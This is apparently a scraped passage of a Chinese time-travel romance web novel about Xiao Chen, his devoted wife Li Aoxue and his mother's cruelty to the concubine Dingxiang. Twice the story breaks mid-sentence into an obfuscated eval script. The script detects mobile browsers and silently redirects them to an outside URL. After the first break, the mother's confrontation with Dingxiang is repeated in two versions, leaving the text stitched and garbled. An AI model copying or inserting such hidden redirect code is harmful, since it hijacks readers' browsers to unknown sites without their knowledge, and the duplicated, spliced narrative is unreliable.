窗外的阳光落在两人交握的手上,暖融融的,像她此刻平静无波的语气。只是无人知晓,她垂在袖摆下的另一只手,悄悄攥紧了帕子——那“分量不一样”里,藏着多少无奈与退让,或许只有她自己清楚。 她抽回手,起身道:“厨房炖了汤,我去给你盛一碗。” 肖晨看着她转身的背影,只觉她依旧是那个妥帖周到的妻子,却没注意到她转身时,嘴角那一闪而过的、淡淡的疲惫。 李傲雪端来温好的汤,肖晨接过喝了大半,放下碗时,眉宇间拢着一层淡淡的倦意,低声叹了句:“有时候真觉得,要是我不在这里就好了,也能少些烦恼。” 李傲雪端碗的手微微一顿,抬眸看他,眼里闪过一丝不易察觉的慌乱:“少爷这话是什么意思?要去哪里?” 肖晨闭上眼,靠在椅背上,声音轻飘飘的,像在说梦话:“一个……我想去的地方。”没有母亲的苛责,没有旁人的指点,只有安宁的地方。 李傲雪的心沉了沉,轻声问:“那……会带我一起去吗?” 肖晨却摇了摇头,依旧闭着眼:“那里,除了我,谁也去不了。”那是他心里的净土,装不下这府里的纷纷扰扰,也容不下旁人的牵绊。 “少爷……”李傲雪的声音带上了一丝颤抖,“你是不是要抛下我?”她想起这些日子他对丁香的珍视,想起母亲的刁难,心里忽然涌起一阵恐慌。 肖晨猛地睁开眼,看向她泛红的眼眶,才意识到自己的话让她误会了,连忙握住她的手:“胡说什么,我怎么会抛下你?” 他放缓了语气,解释道:“我只是……觉得这府里的事太闹心,随口发句牢骚罢了。你是我的妻子,我怎么可能丢下你?” 李傲雪望着他认真的眼神,心里的恐慌渐渐散去,却仍有些不安,她低下头,声音闷闷的:“我还以为……你厌烦了这里,也厌烦了我。” “怎么会。”肖晨叹了口气,替她理了理鬓发,“有你在,这府里才算有个家的样子。别胡思乱想。” 李傲雪点了点头,没再说话,只是心里那点疑虑像根细针,轻轻扎着。她总觉得,肖晨说的那个“想去的地方”,藏着她看不懂的疏离。 肖晨看着李傲雪眼底未散的忧虑,握紧了她的手,语气恳切:“你真的不用担心,我不会无缘无故离开你。” 他顿了顿,目光望向窗外,带着一丝难以言喻的遥远:“只是我心里清楚,我终究不属于这里。将来总有一天,是要走的。至于具体是哪一天,我也说不好。” 李傲雪的心猛地一揪,追问:“走?要去哪里?是回祖籍吗?” 肖晨避开她的视线,含糊道:“算是吧。那边……家里人还等着。真到了回去那天,说不定就由不得自己了,要被家里逼着成亲,生子,过他们安排好的日子。”他刻意模糊了“现代”的概念,用最寻常的理由掩饰着秘密。 这话像一块石头投进李傲雪心里,泛起层层涟漪。她垂下眼,长长的睫毛掩住眼底的失落,指尖微微发凉:“原来……少爷早晚会离开的。” “不是现在。”肖晨连忙解释,“至少眼下,我还在这里。而且就算回去了,我也不会忘了你。”他说这话时,心里是愧疚的——他知道,这个“不会忘”,在时空的阻隔下,或许苍白得可笑。 李傲雪却当真了,她抬起头,脸上重新漾起温和的笑,只是那笑意没达眼底:“我明白。人总有身不由己的时候。少爷不必挂心我,只要眼下安稳就好。” 她起身收拾碗筷,动作依旧从容:“少爷要是累了,就去歇会儿吧,我让人把账本送回书房。” 肖晨看着她转身的背影,那背影依旧端庄得体,却仿佛隔着一层看不见的纱。他知道自己说了谎,这个谎言像根刺,扎在两人之间,让他心里很不是滋味。 可他不能说。有些秘密,注定要烂在肚子里,否则只会带来更大的混乱。 他轻轻叹了口气,终究还是没再说什么,转身离开了她的院子。 李傲雪站在廊下,看着他的背影消失在拐角,手里的帕子悄悄攥成了团。原来他早有归处,原来自己终究只是他停留途中的一处风景。她低头笑了笑,眼底却泛起一层湿意。 罢了,能有眼下这片刻的安稳,也该知足了。 肖晨把自己关在书房,连晚饭都没让人传。窗外的天渐渐黑透,烛火在案头跳动,映着他疲惫的脸。 桌上摊着几张纸,写满了杂乱的字迹,又被划得乱七八糟。 他知道这古代的日子没什么不好。肖府家底殷实,不愁吃穿;丁香依赖他,眼神里的光让他心软;李傲雪温婉得体,将家事打理得井井有条。她们是真心待他的,这份温暖,是他穿越过来后最珍贵的慰藉。 可每当夜深人静,现代的记忆就像潮水般涌上来。 电话里母亲总说“天冷了添件衣”,父亲板着脸却偷偷往他书包塞零花钱;过年时一家人围在桌边吃火锅,电视里放着吵闹的春晚……那些琐碎的、平常的画面,此刻却清晰得像在眼前。 他能无限次穿越,这秘密藏在心里快磨出了茧。可他试过无数次,带不走这里的任何人,也没法让现代的亲人踏足这个时空。 “一辈子……”他低声念着这三个字,手指狠狠攥住笔。 留在这里,意味着再也见不到父母,只能在无数个深夜里对着空气想家。可回去了,丁香含泪的眼、李傲雪平静下的失落,又怎么放得下?她们是活生生的人,是把真心捧到他面前的人。 他猛地将笔摔在桌上,墨汁溅了满纸,像一团化不开的愁绪。 一边是血脉相连的牵挂,一边是日渐深厚的羁绊。无论选哪条路,都注定要亏欠一方。 这道题,他解不出来。 天色彻底暗下来时,李傲雪带着亲手做的莲子羹,刚走到书房外,就见丁香也站在廊下,手里捧着一件叠好的薄披风。 两人对视一眼,都从对方眼里看到了担忧。 “少夫人。”丁香先福了福身,声音轻轻的,“我看天凉了,给公子送件披风。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076479|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李傲雪点点头,示意她不必多礼,转头问守在门口的丫鬟:“少爷还在里面?” 丫鬟面露难色:“回少夫人,公子从下午就把自己关在里面,谁也不让进,连晚饭都没吃。” 李傲雪抬手轻轻敲了敲门:“少爷,是我。” 里面没动静。 她又敲了敲,温声道:“我炖了莲子羹,你多少吃些。” 片刻后,才听见里面传来闷闷的一声:“放着吧。” 丁香也跟着轻声道:“公子,外面风大,我给您送披风来了,夜里凉,别冻着。” 书房的门终于“吱呀”一声开了条缝,肖晨站在门后,眼下带着浓重的青黑,神色疲惫得像是一夜没睡。 “你们怎么来了?”他声音沙哑。 李傲雪将莲子羹递过去:“听丫鬟说你没吃晚饭,这羹是温的,垫垫肚子也好。” 丁香也把披风递上前:“公子披上吧,仔细着凉。” 肖晨看着她们眼里毫不掩饰的关切,心里又是暖又是涩。他接过莲子羹,又接过披风,低声道:“进来坐吧。” 两人跟着他走进书房,才发现里面乱得很,桌上的纸散落一地,墨汁溅得到处都是。 李傲雪没多问,只默默上前收拾起地上的纸,丁香则去给炉子里添了些炭火,让屋里暖和些。 肖晨看着她们忙碌的身影,忽然觉得喉咙发紧。他拥有穿越的能力,能在两个时空穿梭,可她们呢?她们被困在这个时代,只能在这里等着他,甚至不知道他有一天可能会彻底消失。 “让你们担心了。”他低声说,拿起汤匙舀了口莲子羹,甜糯的滋味在舌尖化开,却压不住心里的苦涩。 李傲雪收拾好东西,坐在他对面,柔声问:“是不是书院里出了什么事?还是府里有烦心事?” 肖晨摇摇头,没说实话:“没什么,就是突然有些累。” 丁香站在一旁,看着他疲惫的样子,小声道:“公子要是累了,就早些歇息吧,别熬坏了身子。” 肖晨看着她们,忽然觉得,或许他该珍惜眼下。至少此刻,他还能在这里,还能看到她们的笑脸。 他点了点头:“好,这就歇息。” 有些烦恼,暂时想不通,或许就该先放一放。 丁香看着肖晨眉宇间的倦色,轻声道:“这些日子公子为了我费心劳神,定是累坏了。今晚就让少夫人好好照顾您歇息吧,我先回去了。”她说完,又担忧地看了肖晨一眼,才转身离开。 肖晨没说话,任由李傲雪牵着他回了房。 她伺候他宽衣躺下,自己也卸了钗环,躺在他身侧。帐幔落下,隔绝了外间的光影,屋里只剩下彼此的呼吸声。 李傲雪犹豫了片刻,轻轻伸出手臂,从身后环住他的背,脸颊贴着他的后背,声音温软得像羽毛:“少爷今晚不对劲,是有心事吗?” 肖晨沉默了很久,久到李傲雪以为他不会回答,才听见他闷闷的声音传来,带着一丝茫然和抗拒:“我不想回去……也不想结婚生子。” 他说的“回去”,是那个有父母却身不由己的“远方”;说的“结婚生子”,是被家族安排的、没有温度的生活。可落在李傲雪耳里,却成了另一种意思。 她环着他的手臂紧了紧,心口微微发涩,却依旧柔声问:“是……不想回祖籍去吗?” 肖晨没解释,只是“嗯”了一声。他不敢多说,怕一不小心泄露了秘密。 李傲雪把脸埋得更深了些,闻着他身上清冽的气息,轻声道:“若是不想回,便不回就是了。左右这里也是家,有我,有丁香姑娘……我们都在。” 她顿了顿,又补充道:“至于结婚生子,若是少爷不想,谁也勉强不了。日子是自己过的,舒心最重要。” 肖晨听着她温软的话语,心里像被什么东西轻轻撞了一下。他知道她误会了,可这份误会带来的体谅,却让他紧绷的心弦松动了些。 他反手握住她环在自己腰间的手,她的手很软,带着暖意。 “傲雪……”他低低地叫了一声。 “嗯?” “没什么。”他终究还是把剩下的话咽了回去,“睡吧。” “好。”李傲雪应着,却没松开手,依旧轻轻环着他。 黑暗中,两人都没再说话。肖晨睁着眼望着帐顶,心里依旧矛盾——留下,对不起现代的父母;离开,对不起身边的人。 而李傲雪靠在他背上,感受着他平稳的心跳,心里却清楚,他说的“不想回去”,或许并不包括留在她身边。可哪怕只是这样短暂的依偎,她也想多贪恋一会儿。 晨光透过窗纱漫进帐内,肖晨醒时,李傲雪正望着帐顶出神。他侧过身,指尖轻轻碰了碰她的脸颊,声音带着初醒的沙哑:“在想什么?” 李傲雪转头看他,眼里带着浅浅的笑意:“在想今天的天气,看着该是个好天。” 肖晨却没接话,只是望着她,忽然低声道:“要是你能一直陪在我身边就好。” 李傲雪的心猛地一跳,脸上的笑淡了些:“少爷说的哪里话,我本就该在你身边。” “可我怕……”肖晨的声音沉了下去,带着难以言说的挣扎,“怕以后身不由己,要跟别人成亲,生子,过另一种日子。到那时,就再也见不到你们了。” 他说的“别人”,是现代可能被安排的对象;“你们”,是李傲雪和丁香。可落在李傲雪耳中,字字都像针扎。她垂下眼,长长的睫毛掩住眼底的涩意,指尖在被面上轻轻蜷缩。 “原来……少爷终究是要走的。”她的声音很轻,像怕惊扰了什么。 “我不想走。”肖晨抓住她的手,语气急切,“我真的不想离开你们。在这里,有你,有丁香,有……家的样子。可我……”他说不下去了,现代父母的脸和眼前人的脸在脑海里重叠,让他痛苦不堪。 李傲雪反握住他的手,掌心的温度传递过来,她抬眸望他,眼里竟带着一丝释然的温柔:“少爷不必为难。若是真有那么一天,我和丁香姑娘……都会记得少爷的好。” 她顿了顿,又补充道:“就像少爷说的,眼下能在一起,就该珍惜。至于以后的事,谁又说得准呢?” 肖晨看着她平静的脸,心里又是愧疚又是心疼。这个女人总是这样,永远把体面和体谅放在前头,把所有的委屈都藏在心里。 他将她揽进怀里,紧紧抱着:“对不起……” 李傲雪的手猛地攥紧了肖晨的衣襟,指尖因为用力而泛白。方才那番故作平静的体谅,在听到他说“要跟别人成亲生子”时,终于绷不住了。 她抬起头,眼里的温柔褪去,染上一层执拗的红,声音带着一丝不易察觉的颤抖,却异常坚定:“我不准。” 肖晨愣住了,从未见过她这般模样。 “少爷不能走。”李傲雪凑近他,额头几乎抵着他的,眼神里是从未有过的偏执,“我不会让你走的。你只能是我的,是肖家的少爷,是我李傲雪的丈夫。” 她深吸一口气,像是用尽了全身力气:“你不准跟其他人结婚生子,不准忘了这里,更不准……丢下我。” 这些话冲口而出,带着她压抑了许久的恐慌和不舍。她一直以为自己能看得开,能接受他早晚要离开的事实,可真到了他把“离别”说出口时,才发现那些故作的从容全是假的。 她爱这个温润如玉的少年郎,爱他偶尔的笨拙,爱他对丁香的珍视,也爱他对自己的那份敬重与温和。她怎么甘心放手?怎么舍得让他属于别人? 肖晨被她眼底的执拗惊住了,一时说不出话来。他看着她泛红的眼眶,看着她紧抿的唇,心里像被什么东西狠狠撞了一下,又酸又涩。 他知道她误会了,可这误会里藏着的深情,却让他无法辩驳。 “傲雪……”他想解释,却又不知从何说起。 李傲雪却不让他开口,她抬手按住他的唇,眼泪终于忍不住滑落,滴在他的手背上,滚烫的:“你不用解释,我不管你要回哪里,不管你有什么难处,我都不管。我只要你留下,留在我身边,像现在这样,哪怕……哪怕你心里还有别人,我也认了。” 她的眼泪像断了线的珠子,一颗颗砸下来,砸得肖晨心头发紧。 他反手握住她的手,轻轻拿开,声音沙哑:“我……我知道了。” 他不能给她承诺,因为他不知道未来会怎样。可看着她泪流满面的样子,他实在说不出更伤人的话。 李傲雪见他没有反驳,像是抓住了救命稻草,她扑进他怀里,紧紧抱住他,把脸埋在他的颈窝,哭得像个孩子:“不要走……求你了……” 肖晨抬手轻轻拍着她的背,心里一片茫然。他不知道这样的承诺能维持多久,也不知道自己最终会做出怎样的选择。 他只知道,此刻怀里的这个人,是真的舍不得他走。而他,也同样舍不得她流泪。 帐外的阳光依旧明媚,可帐内的两人,却都被这突如其来的深情与矛盾,缠得喘不过气来。 51.古代女子不是矜持呢,这怎么不一样 各位作者,新书砚上禾影,心起微澜。已经上架 李傲雪哭了许久,直到声音都带了哑意,才渐渐收住泪。她依旧紧紧抱着肖晨,像抱着失而复得的珍宝,生怕一松手,他就会消失不见。 肖晨的衣襟被她的眼泪浸湿了一片,带着温热的潮气。他轻轻抚摸着她的长发,指尖穿过柔顺的发丝,心里五味杂陈。 “傻姑娘。”他低声说,语气里带着无奈,也带着连自己都未察觉的纵容,“我还没走呢。” 李傲雪在他颈窝蹭了蹭,声音闷闷的:“那也不准走。” 肖晨没再说话,只是任由她抱着。晨光透过帐纱,在她发顶投下细碎的光斑,他看着那片光晕,忽然觉得,或许就这样暂时沉溺也不错。至少此刻,他不必去想现代的父母,不必去纠结那个遥远的未来,只需感受怀里真实的温度。 过了好一会儿,李傲雪才慢慢松开他,抬起头时,眼底还带着红痕,却已不见方才的脆弱,反而多了几分坚定。她伸手替他理了理被揉皱的衣襟,轻声道:“该起了,再晚些,书院的先生该等急了。” 肖晨看着她迅速恢复平静的模样,心里又是一叹。她总是这样,再大的情绪也藏得快,仿佛刚才那个哭着说“不准走”的人不是她。 两人起身梳洗,李傲雪亲自替他系好腰带,动作轻柔又仔细。她看着铜镜里并肩而立的两人,忽然轻声道:“少爷,今日休沐吧。” 肖晨一怔:“怎么了?” “我想和你待一天。”李傲雪望着镜中的他,眼神坦诚又执着,“就我们两个,像寻常夫妻那样,看看书,下下棋,或者就坐着说说话。” 肖晨看着她眼底的期盼,拒绝的话到了嘴边,又咽了回去。他点了点头:“好。” 李傲雪的眼睛瞬间亮了,像落了星光,她转身吩咐丫鬟:“去告诉书院,少爷今日身子不适,请一天假。” 丫鬟应声而去,屋里又只剩下他们两人。 李傲雪拉着肖晨走到窗边的软榻旁坐下,亲自为他沏了杯茶,动作行云流水,带着岁月静好的温柔。“尝尝,这是去年的雨前龙井,我一直收着。” 肖晨接过茶杯,温热的触感从指尖蔓延开。茶香袅袅,他看着对面浅笑盈盈的李傲雪,忽然觉得,或许他一直以来都低估了她的感情。她的温婉不是疏离,她的体谅也不是不在乎,只是把所有的在意都藏在了最深处,直到濒临失去,才肯彻底流露。 “好喝吗?”李傲雪问。 “嗯,很好。”肖晨点头。 两人就这样坐着,有一搭没一搭地说着话。说府里新开的菊花开得正好,说厨房新做的点心味道不错,说小时候听过的戏文……全是些无关紧要的琐事,却说得格外认真。 李傲雪听得专注,偶尔会被他说的笑话逗笑,眉眼弯弯的,像月牙儿。她很少这样全然放松,仿佛卸下了所有主母的端庄,只是一个沉浸在欢喜里的女子。 肖晨看着她的笑,心里的沉重似乎也轻了些。他知道这一天的平静或许只是暂时的,可至少此刻,他想陪着她,把这片刻的温情,牢牢记在心里。 夕阳西下时,霞光染红了半边天。李傲雪靠在肖晨肩头,看着窗外的晚霞,轻声道:“真好。” 肖晨侧头看她,她的侧脸在霞光里柔和得像一幅画。他伸出手臂,将她揽进怀里,低声道:“嗯,真好。” 他不知道这样的日子能有多少,也不知道自己最终会走向何方。但此刻,他只想珍惜怀里的温暖,珍惜眼前这个人。 李傲雪听着他说“真好”,心里像被蜜糖浸过,又甜又软。她仰头望着他的下颌线,声音带着一丝羞赧,却又无比直白:“还是少爷更好。” 她伸手环住他的腰,把脸埋在他胸口,像只贪恋温暖的猫:“你是我的少爷,我就想时时刻刻抱着你,一分一秒都不让你走开。” 肖晨被她这直白的话逗笑,伸手捏了捏她的脸颊,语气带着宠溺:“你啊,越来越霸道了。” “我就是霸道。”李傲雪抬头,眼底闪着执拗的光,脸颊因为激动微微泛红,“我就要少爷,就要把你锁在我身边。我爱你,爱得快要发疯了,怎么可能放你走?” 这是她第一次如此坦诚地说“爱”,没有半分遮掩,带着飞蛾扑火般的热烈。 肖晨的心狠狠一颤,所有的话都堵在了喉咙口。他看着她泛红的眼眶,看着她眼底毫不掩饰的爱意,终于伸出手,紧紧回抱住她,声音哑得厉害:“我也离不开你。” 他低头,鼻尖蹭着她的发顶,语气是从未有过的认真:“在这府里,有你,有丁香,就是我这辈子最大的福气。” 这句话像定心丸,狠狠砸进李傲雪心里。她紧绷的身体瞬间软下来,泪水再次涌眶而出,这一次,却是甜的。她用力点头,把脸埋得更深,声音带着浓重的鼻音:“嗯,我们都不走,就在这里,一直在一起。” 肖晨没再说话,只是抱着她,感受着怀里人真实的体温和心跳。或许未来的难题依旧无解,或许离别终会到来,但此刻,他愿意相信她的话,愿意沉溺在这份彼此依赖的温暖里。 李傲雪指尖轻轻划过他衣襟上的盘扣,声音里带着一丝不易察觉的怅然:“少爷若是往后考了功名,怕是就没这么多功夫陪着我了。到时候要应酬官场,要处理公务,说不定连回府的日子都少了。” 肖晨听着她的话,心里暗自叹了口气。他哪懂什么科举?这古代的考试,可不是现代的升学那么简单。得先考秀才,过了县试、府试、院试,层层筛选;之后是举人,得闯过秋闱这关;再往上还有进士,殿试夺魁才能成状元。这一路走下来,少则十年,多则耗尽半生,难如登天。 他在现代读书也只是普通本科,穿越过来后跟着先生念书,也不过是囫囵吞枣。真要走科举这条路,怕是连秀才都悬。 但他看着李傲雪眼里的担忧,没把这些话说出口,只是握紧她的手,温声道:“就算考了功名,我也会常回来看你。再说……”他顿了顿,笑道,“说不定我不是那块料呢?” 李傲雪嗔怪地看他一眼:“少爷怎说这话?先生常夸你聪慧,只是性子散了些。真要用心,未必不成。”她靠在他肩上,轻声道,“我不是盼着你飞黄腾达,只是想着,若是你有了功名在身,往后在这世间立足,总能更稳些。只是……别因此忘了回家的路就好。” 肖晨心里又是暖又是涩。她总是这样,替他想得长远,却又把自己的念想藏得这样浅。他低头在她发顶印下一个吻,柔声道:“不会忘的。家在这里,你在这里,我怎么会忘?” 至于科举功名……走一步看一步吧。至少眼下,他只想守着这份安稳,守着身边这个人。 李傲雪忽然低低叫了声:“少爷。” 肖晨应道:“怎么了?” 话音刚落,就见她抬手,指尖带着微颤,轻轻扒拉着他衣襟上的系带。那动作算不上熟练,却带着一股不容拒绝的执拗。 肖晨一愣,下意识按住她的手,喉结微动:“傲雪,现在……” 话未说完,就被她打断。李傲雪仰头,唇直接覆了上来,带着方才未散的泪痕咸涩,也带着孤注一掷的热烈。她的手没停,固执地解开他的衣扣,动作带着些微慌乱,却异常坚定。 肖晨被她突如其来的主动弄得心头一热,又有些无措。她温热的呼吸洒在颈间,吻一路往下,带着破釜沉舟般的急切。他想推开,指尖触到她滚烫的肌肤,却又不忍。 帐幔不知何时被她用脚勾落,将满室的暧昧彻底拢在其中。她像换了个人,褪去了平日的端庄温婉,眼底翻涌着浓烈的占有欲,仿佛要将他揉进骨血里,用最亲密的方式证明他属于自己。 肖晨被她缠得浑身发软,最后只能任由她摆布。意识朦胧间,他心里只剩一个念头:她在这事儿上,怎么能这么主动?那些书上说的古代女子的矜持,到她这里,怎么半点影子都没了? 可转念一想,又懂了。她是怕,怕他走,怕这温情转瞬即逝,才想用最原始的方式,把他牢牢拴在身边。 夜渐深,帐内的烛火被风吹得摇曳,映着交缠的身影。李傲雪伏在他胸口,听着他急促的心跳,脸上泛着潮红,眼里却带着一丝满足的喟叹。她抬手,轻轻描摹着他的眉眼,低声道:“少爷,你是我的……” 肖晨闭着眼,喘息未定,伸手将她揽得更紧。他没说话,只是心里那杆秤,又往“留下”这边,悄悄偏了偏。 或许,有些矜持,在极致的爱与怕面前,本就不值一提。 李傲雪见他闭着眼不说话,指尖又轻轻在他胸口画着圈,带着几分刻意的撩拨。她知道自己方才有些孟浪,可此刻情动未消,只想缠着他多待一会儿。 肖晨被她弄得心头发痒,伸手按住她不安分的手,声音带着刚平息的沙哑:“别闹。” 李傲雪却不肯停,凑上去吻他的下颌,声音黏糊糊的,带着几分迷醉:“少爷,你生得真好,这般俊美……” 肖晨被她夸得耳根发烫,恍惚间脱口而出:“你现在……比那刘亦菲还好看。”话一出口他就悔了——又说漏嘴了。 李傲雪果然一顿,抬眸望他,眼里带着懵懂的疑惑:“刘亦菲?那是谁?”她顿了顿,语气里悄然多了丝紧张,“少爷跟她很熟悉吗?” 肖晨心里咯噔一下,暗道不好。他总不能说那是现代的女明星吧?只能含糊着打岔:“没什么,就是……以前听过的一个名字,早忘了是谁了。” 李傲雪却没那么容易糊弄,她盯着他的眼睛,追问:“是……很美貌的女子吗?” 肖晨看着她眼里一闪而过的醋意,又好气又好笑,伸手捏了捏她的脸颊:“哪有你美。”他把她往怀里带了带,转移话题,“时辰不早了,睡吧。” 李傲雪却还是揪着不放,手指戳了戳他的胸口:“少爷定是跟她相熟,不然怎会突然提起?”她越想心里越不是滋味,那名字听着就像个温柔婉转的女子,难不成是他“祖籍”那边认识的人? 肖晨被她问得头大,索性翻身将她按在身下,低头堵住她的唇,用一个缠绵的吻打断她的追问。分开时两人都喘着气,他抵着她的额头,无奈道:“就是随口一提,早就忘了是哪年哪月听的了。在我眼里,谁也没你好看,这样行了吗?” 李傲雪看着他认真的眼神,心里的酸意才渐渐散去,却还是哼了一声:“往后不许提别的女子。” “好,不提。”肖晨笑着应下,心里暗自庆幸总算糊弄过去。他低头吻了吻她的发顶,“睡吧,再闹天亮了。” 李傲雪这才安分下来,乖乖窝进他怀里,只是临睡时还不忘嘀咕一句:“刘亦菲……定是个狐狸精。” 肖晨听着她孩子气的话,忍不住低笑出声。怀里的人温热柔软,帐外的月光温柔洒落,他忽然觉得,这古代的夜晚,因为这些小插曲,竟也变得格外鲜活起来。 只是下次,可千万不能再乱说话了。他在心里默默告诫自己。 天光大亮时,肖晨先醒了。李傲雪还窝在他怀里睡得安稳,长长的睫毛在眼下投出浅浅的阴影。他轻手轻脚地起身,刚穿好外袍,她便醒了,揉着惺忪的睡眼坐起来:“我来伺候少爷。” 她替他系腰带时,指尖不经意划过他腰间,肖晨痒得缩了缩,她却低低笑出声,眼里带着昨夜未散的柔情。洗漱、用早膳,两人间的氛围比往日更添了几分缱绻,连丫鬟们都看出了端倪,退下时都脚步轻快。 饭后肖晨去了书房温书,李傲雪刚回到自己院里,就见丁香站在廊下等她,手里还捧着一盆刚开的秋菊。 “少夫人。”丁香福了福身,将花盆递上前,“这菊花开得正好,想着您院里该添些颜色。” 李傲雪接过,笑着让丫鬟摆去窗台上,转身道:“进来坐吧,我正想着找个人说说话。”她指了指桌边的绣架,“刚起了个新样子,你陪我绣会儿?” 丁香应了声“好”,在她身边坐下,拿起针线却没立刻动手,沉默片刻,轻声道:“少夫人,其实……我一直想谢谢您。” 李傲雪抬眸看她:“谢我什么?” “谢您和公子待我宽厚。”丁香的声音低了些,“我知道自己身份尴尬,虽是妾室,却总觉得抬不起头。尤其是……老夫人那边。” 她捏着针的手指紧了紧,眼底掠过一丝黯然:“前几日去给老夫人请安,她话里话外总提我是花船出来的,说我配不上公子,让我安分些,别痴心妄想争什么。” 李傲雪握着绣花针的手顿了顿,随即放缓了动作,温声道:“老夫人年纪大了,想法守旧些,你别往心里去。” “我知道。”丁香低下头,声音带着委屈,却又强撑着,“我本就没什么奢求,能留在公子身边就够了。只是……每次被老夫人那样说,心里还是……” 李傲雪放下针线,伸手拍了拍她的手背:“我懂。但你要记着,在这府里,只要我和公子认你,就没人能真的欺负你。老夫人那边,我会慢慢劝的。” 她顿了顿,又道:“你和公子的情分,是实打实的。身份出身算什么?日子是自己过的,不必太在意旁人的眼光。” 丁香抬头看她,眼里泛起水光:“少夫人……” “好了,不说这些了。”李傲雪拿起一块锦缎,“你看这花样,绣件披风给公子如何?” 丁香顺着她的话看向绣样,点了点头:“好看,公子穿肯定合适。” 两人重新拿起针线,屋里只剩下丝线穿过布料的细微声响。阳光透过窗棂照进来,落在她们交叠的绣品上,暖融融的。丁香心里的委屈渐渐散了些,看着身边从容温和的李傲雪,忽然觉得,能有这样一位主母,或许也是种福气。 只是她不知道,李傲雪手里的针,悄悄在布上扎错了一个洞——老夫人的态度,又何尝不是她心里的一根刺?肖晨终究是肖家的儿子,老夫人的话,他又能不听多久? 但此刻,她不想让丁香看出异样,只低头继续绣着,仿佛只要把这针脚绣得细密些,就能把所有的烦心事,都牢牢缝进布里。 肖母坐在客厅的太师椅上,手里捻着佛珠,脸色沉得像块乌云。听丫鬟回禀说李傲雪和丁香正在房里做绣工,她冷笑一声,把佛珠往腕上一缠:“去,把丁香那个贱人给我叫来。” 丫鬟不敢怠慢,连忙应声去了。 李傲雪和丁香正凑在一起研究绣样,听见丫鬟说老夫人叫丁香,两人都是一愣。李傲雪心里咯噔一下,隐隐觉得不安,攥着丝线的手紧了紧:“老夫人突然叫你,怕是没什么好事,你……” 话没说完,丁香已站起身,勉强笑了笑:“少夫人放心,我去去就回。”她知道躲不过,整理了下衣襟,跟着丫鬟往正厅去了。 李傲雪看着她的背影,心里七上八下的,哪里还有心思绣花,索性放下针线,走到窗边望着正厅的方向,指尖无意识地绞着帕子。 丁香刚走进正厅,就被肖母凌厉的眼神扫得浑身一僵,连忙跪下请安:“儿媳给母亲请安。” 肖母抬眼睨着她,语气尖酸刻薄:“哟,这不是丁香姑娘吗?贱蹄子,这几天身子养好了?能在屋里跟主母凑堆儿了?” 丁香的脸唰地白了,指尖掐进掌心,却还是强忍着委屈,低声道:“谢母亲挂心,儿媳……身体已经好了。” “儿媳?”肖母猛地一拍桌子,佛珠相撞发出清脆的响声,“谁准你叫我母亲的?一个花船里爬出来的玩意儿,也配做我肖家的儿媳?别污了我的耳朵!” 丁香的肩膀轻轻颤抖起来,却死死咬着唇没让自己哭出声,只是把头埋得更低了些。 肖母见她这副模样,心里的火气更盛,冷哼道:“我告诉你,别以为有傲雪护着,有晨儿宠着,你就能在这府里站稳脚跟。只要我还在一天,就容不得你这不清不楚的人败坏门风!” 她顿了顿,声音更冷:“往后给我安分点,少在晨儿面前晃悠,更别痴心妄想跟傲雪争什么,否则……休怪我不念旧情!” 丁香的眼泪终于忍不住滚了下来,砸在冰冷的地砖上,却依旧强撑着道:“儿媳……儿媳记下了。” “滚吧,看着你就心烦。”肖母挥了挥手,像赶什么脏东西。 丁香磕了个头,慢慢站起身,低着头往外走。走到门口时,她脚步顿了顿,却终究没回头,挺直了背脊,一步步离开了正厅。 廊下的李傲雪见她出来,眼眶红红的,连忙迎上去,拉住她的手:“怎么样?老夫人没为难你吧?” 丁香摇摇头,想挤出个笑,眼泪却流得更凶了:“我没事,少夫人。” 李傲雪看着她通红的眼眶,哪里会信,心里又气又疼,却只能拍着她的背安抚:“没事了,回屋去,我让厨房给你炖碗甜汤。” 有些委屈,注定只能咽在肚子里。李傲雪牵着丁香的手往回走,心里暗暗打定主意,往后定要护着她些——同为女子,她懂那份身不由己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080958|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的苦。 肖母坐在客厅的太师椅上,手里捻着佛珠,听丫鬟回禀说李傲雪和丁香正在房里做绣活,脸色沉了沉,把佛珠往案上一拍:“去,把丁香那个贱人给我叫来。” 丫鬟吓得不敢多言,连忙应声去了。 李傲雪正和丁香讨论着绣线的配色,见丫鬟慌慌张张跑进来,说老夫人叫丁香过去,心里咯噔一下。她攥住丁香的手,低声道:“别怕,我陪你一起去。” 丁香却摇了摇头,强挤出一丝笑:“少夫人放心,我去去就回。”她知道老夫人要发作的是自己,不想连累李傲雪。 李傲雪看着她单薄的背影消失在门口,手里的绣绷都捏变了形。 丁香走进客厅,刚福身行礼,就听见肖母淬了一口:“贱蹄子,这几天身子养好了?” 丁香垂下眼,声音平静:“回母亲,儿媳身子好多了。” “儿媳?”肖母冷笑一声,眼神像刀子似的刮过她,“你也配叫我母亲?一个从花船里爬出来的玩意儿,身子早就被不知多少男人摸过了,还好意思赖在肖家,占着妾室的名分,真是脏了我们肖家的门楣!” 这话像鞭子一样抽在丁香脸上,她脸色瞬间惨白,指尖深深掐进掌心,却硬是没让眼泪掉下来。她知道争辩只会招来更难听的话,只能咬着唇,一声不吭地受着。 肖母见她不顶嘴,火气更盛,起身走到她面前,抬手就想打下去,却被匆匆赶来的李傲雪拦住了。 